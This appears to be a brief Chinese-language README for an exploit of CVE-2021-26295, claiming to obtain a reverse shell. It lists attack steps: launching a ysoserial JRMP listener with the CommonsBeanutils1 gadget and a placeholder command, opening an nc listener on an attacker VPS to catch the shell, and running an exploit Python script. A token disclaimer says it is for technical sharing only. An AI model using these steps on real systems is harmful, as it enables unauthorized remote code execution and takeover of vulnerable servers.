CVE-2021-26295
CVE-2021-26295 EXP可成功反弹壳
本文以及工具仅限于技术共享，不能用于非法用途，否则会导致一切后果自行承担。
触发命令执行EXP
1. VPS启动RMI监听9999端口
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 9999 CommonsBeanutils1 ' [要执行的命令] '
2. VPS启动nc监听64444端口
nc -lvp 64444
3.执行python脚本
python3 cve-2021-26295_exp.py
示例
2021-04-27 22:26:56
190KB
1